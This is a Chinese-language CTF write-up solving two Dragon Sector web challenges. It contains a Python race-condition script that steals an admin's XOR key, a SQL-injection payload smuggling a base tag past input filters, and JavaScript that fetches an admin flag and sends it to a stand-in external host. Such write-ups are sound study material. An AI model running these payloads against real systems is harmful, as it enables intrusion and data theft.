3NTERPRISE s0lution
题目直接给出了源码,我已经贴在了 gist 上:https://gist.github.com/syang2forever/b90c36a66b7f826010d05be13d83d2a6
下面来看题目,进来之后是个很明显的 登录
/注册
界面,审计完代码后确认题目利用点应该不是此处,那随意注册个名字登录即可:
进入后我们可以看到题目提供的功能,主要有以下两项:
- 发布一个 note
- 查看发布的 note
发布的 note 会被自动分配一个 id,那很自然的想到尝试访问 id 为 1 的页面:
可以看到该页面是由 admin 发布的,但显示的是一段密文,然后页面会进行解密(并得到错误的结果)
查看页面源代码,可以发现执行的是异或加密的解密过程,页面会从 http://solution.hackable.software:8080/note/getkey 处请求对应的密钥
<textarea rows=20 cols=40 id="note_data">07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2</textarea><br>
<div id="konsole">
Note encrypted ... <br>
</div>
<script>
var org_content = '';
var pos = 0;
function ll(msg){ jQuery("#konsole").append("[+] " + msg + "<br>"); }
window.setTimeout(function(){ fetch_key() }, 1000)
function fetch_key(){
ll("getting key ... ");
jQuery.get(
"/note/getkey",
function(data){
ll("got key ...");
window.setTimeout(function(){ decode(data.key); }, 1000)
}
)
}
function hex_to_ascii(str1){
var hex = str1.toString();
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
return str;
}
function decode(key){
ll("decoding ... ");
var note = jQuery("#note_data")
window.hex_content = note.val();
window.pos = 0;
window.org_content = hex_to_ascii(window.hex_content);
window.key_content = hex_to_ascii(key);
window.key_len = key.length;
window.plaintext = '';
note.val('');
decode_iter();
}
function decode_iter(){
var note = jQuery("#note_data");
if (window.pos >= window.org_content.length){
return ll("Done !");
}
c1 = window.org_content.charCodeAt(pos);
c2 = window.key_content.charCodeAt(pos % window.key_len);
c3 = c1 ^ c2;
// console.log(c1 + " xor "+ c2 + " = "+ c3); // no loggin on prod !
window.plaintext += String.fromCharCode(c3)
note.val(window.plaintext + window.hex_content.slice(2+pos*2));
window.pos += 1
window.setTimeout(function(){decode_iter();}, 120);
}
</script>
这里就解答了我们之前的疑惑,为什么解密的结果是错误的?因为 admin 的密文是用他的密钥加密的,而直接访问该链接只能得到我们直接的密钥,所以解密的结果必然出错。那么我们现在的目的很明确,获得 admin 用户的加密密钥。
从源码中,我们可以看到有两种途径来获得 key,第一种是直接调用 /note/getkey
,第二种方式则较为间接,我们调用 note/add
,然后发送一大段内容为 \x00
的文本,由于异或加密的性质,加密后的密文即加密使用的密钥
@app.route("/note/getkey")
@loginzone
def do_note_getkey():
return flask.jsonify(dict(
key=backend.get_key_for_user(flask.session.get(K_AUTH_USER))
))
@app.route("/note/add", methods=['POST'])
@loginzone
def do_note_add_post():
text = get_required_params("POST", ["text"])["text"]
key = backend.cache_load(flask.session.sid)
if key is None:
raise WebException("Cached key")
text = backend.xor_1337_encrypt(
data=text,
key=key,
)
note = model.Notes(
username=flask.session[K_LOGGED_USER],
message=backend.hex_encode(text),
)
sql_session.add(note)
sql_session.commit()
add_msg("Done !")
return do_render()
虽然第一种方式更为直接,但后来的测试表明,本题有个很明显的坑在于 key 的长度不止 20 bytes,所以我们必须使用第二种方式来获得 key。
下一步需要思考如何修改加密的密钥,可以看到程序代码中获得密钥的操作是 backend.cache_load
,而在程序中恰好有另一个函数可以修改 cache:
@app.route('/login/user', methods=['POST'])
def do_login_user_post():
username = get_required_params("POST", ['login'])['login']
backend.cache_save(
sid=flask.session.sid,
value=backend.get_key_for_user(username)
)
state = backend.check_user_state(username)
if state > 0:
add_msg("user has {} state code ;/ contact backend admin ... ".format(state))
return do_render()
flask.session[K_LOGGED_IN] = False
flask.session[K_AUTH_USER] = username
return do_302("/login/auth")
可以发现我们可以通过传入 login:admin
的方式将 cache 缓存的密钥修改为 admin 所持有的密钥,然后程序从缓存中读取该密钥进而加密内容,我们就能非常顺利的获得密钥了。但在正常情况下先后调用两个函数是不可能的,因为 do_login_user_post
会取消用户的登录状态,所以这里就需要利用竞争。
既然我们清楚这道题的考点是条件竞争,那么写代码就是相当容易的一件事情了:
import requests
import threading
s = requests.Session()
def user_login(name):
s.post('http://solution.hackable.software:8080/login/user', data={'login':name})
def user_auth(password, token):
s.post('http://solution.hackable.software:8080/login/auth', data={'password':password, 'token': token})
def add_note():
text = chr(0x00)*160
s.post('http://solution.hackable.software:8080/note/add',{'text':text})
def main():
while True:
user_login('exec')
user_auth('exec', 'exec')
t1 = threading.Thread(target=user_login, args=('admin',))
t2 = threading.Thread(target=add_note)
t1.start()
t2.start()
if __name__ == '__main__':
main()
成功获得 admin 的密钥:4FB198AC92B2D1EEACAF6242E9BB811DEF7A2A73F9D6440BC27B5D7D7F2A3C3B83E0F7DEE9762A7A912084E81FF57BC22E212AC3EADBC04B24130EDC0BAE24792C88B6C131FB3A018AC7CEA72ECE0DBAB246616148ECAA227C6D5DCDDE98D891D7799B3A
,结合密文解密得到 flag:
Hi. I wish U luck. Only I can posses flag: DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!} ... he he he
Notepad
本题是基于 express 框架的 nodejs 程序,后端数据库是 PostgreSQL,不过这些都是次要的,本题考点是 xss。
题目提供了 4 个功能:
- 注册
- 登录
- 发布 note
- 查看 note
以及你可以 pin 一个 note,或是向管理员报告这个 note,这样管理员就会来查看你发布的 note。
查看源码,我们可以看到我们之前的输入会以 json 的形式被页面存储,然后页面会调用 notes.js
动态生成相应内容
<script nonce="bd08c56c76fc48253d0e8dbd7018ec5b">window.notes = [{"id":5001,"title":"test","content":"test","pinned":false}];</script>
<script nonce="bd08c56c76fc48253d0e8dbd7018ec5b" src="/javascripts/notes.js"></script>
'use strict';
$(document).ready(function() {
var container = $('#notes');
var template = $('#note').html();
function createNote(note) {
var element = $(template);
element.find('.title').attr('href', '/notes/' + note.id);
element.find('.title').html(note.title);
element.find('.pin').attr('action', '/notes/' + note.id + '/pin');
if (note.pinned) {
element.find('.pin-text').text('Unpin');
element.find('.pin input[name="value"]').attr('value', '0');
} else {
element.find('.pin-text').text('Pin');
element.find('.pin input[name="value"]').attr('value', '1');
}
element.find('.report').attr('href', '/notes/' + note.id + '/report');
element.find('.delete').attr('action', '/notes/' + note.id + '/delete');
var body = element.find('.body');
note.content.split('\n').forEach(function(text, line) {
var el = $('<p></p>');
el.text(text);
if (line === 0) el.addClass('lead');
body.append(el);
});
container.append(element);
}
if (window.notes.length) {
window.notes.forEach(createNote);
} else {
container.append("<p>You don't have any notes</p>");
}
});
这么现在利用的方式非常明显了,我们需要控制 title
或者是 content
在页面中注入相应代码。回到源码上,我们可以看到这一段的逻辑在 /routes/notes.js
中:
router.post('/new', async (req, res) => {
const regex = /[<>]/;
let errors = [];
if (regex.test(req.body.title)) {
errors.push('Title is invalid');
}
if (regex.test(req.body.content)) {
errors.push('Content is invalid');
}
if (errors.length !== 0) {
return res.render('new', {errors});
}
const result = await req.db.get `INSERT INTO notes (title, content, user_id) VALUES (${req.body.title}, ${req.body.content}, ${req.session.userId}) RETURNING id`;
if (result) {
return res.redirect(`/notes/${result.id}`);
} else {
res.render('new', {errors: [`Error occurred while saving your note`]});
}
});
可以看到由于正则的存在使得我们无法直接传入相应 payload,因为我们要闭合标签必然要引入尖括号。但这是不是无法解决的呢?在万能的 js 中,一切都是可能的!
我们注意到 routes/notes.js
中定义的路由在执行 sql 语句时,存在着一个注入点,所以可以尝试在 req.body.value
处进行 sql 注入:
router.post('/:noteId(\\d+)/pin', async (req, res) => {
if (req.body.value.length === 1) {
const result = await req.db.run(`UPDATE notes SET pinned = ${req.body.value}::boolean WHERE id = ${req.params.noteId}`);
if (result.error) {
return res.render('index', {errors: ['An error occurred']});
}
}
res.redirect('/notes');
});
但上述利用点对 value
的长度有一定限制,不能超过 1,但在这里,我们可以通过将 value
赋值成数组的方式绕过,因为数组恰好满足了长度为 1 的要求,而且在字符串模板拼接会被自动解包:
const value = ["1::boolean, title='</script><base href=http://example.com/>' WHERE id = 8888--"]
console.log(`UPDATE notes SET pinned = ${value}::boolean WHERE id = 8888`);
// output
// UPDATE notes SET pinned = 1::boolean, title='</script><base href=http://example.com/>' WHERE id = 8888--::boolean WHERE id = 8888
既然这里已经确认存在一个 xss 的利用点了,然后下一步就是绕过 CSP 的限制。
app.use((req, res, next) => {
res.set('X-XSS-Protection', '0');
res.set('Content-Security-Policy', `
default-src 'none';
script-src 'nonce-${res.locals.nonce}' 'strict-dynamic';
style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css;
img-src 'self';
connect-src 'self';
frame-src https://www.google.com/recaptcha/;
form-action 'self';
`.replace(/\n/g, ''));
next();
});
可以看到 CSP 对我们的脚本做了比较严格的限制,但我们仍然有办法:使用 <base>
标签。根据 <base>
的定义,它可以为页面上的所有链接规定一个默认地址或默认目标,然后浏览器随后将使用指定的基本 URL 来解析所有的相对 URL,包括 <a>
\ <img>
等标签。这样我们就可以将 javascripts/notes.js
指向部署在我们自己网站上的 payload,例如:
// javascripts/notes.js in our websites
fetch('http://nodepad.hackable.software:3000/admin/flag').then((res) => {
res.text().then((text) => {
location.href = 'http://example.com/?flag=' + btoa(text);
});
})
一波操作:
成功获得 flag:DrgnS{Ar3_Y0u_T3mP14t3d?}
PS: r3kapig 的大佬貌似使用了对象的方式绕过,具体原因大概是数据库操作时会进行的解包操作?感兴趣的朋友可以尝试一下(再告诉我,逃
总结
Dargon Sector 不愧是国际强队,出的题目也相当的有质量,使人在做题之余也收获颇丰。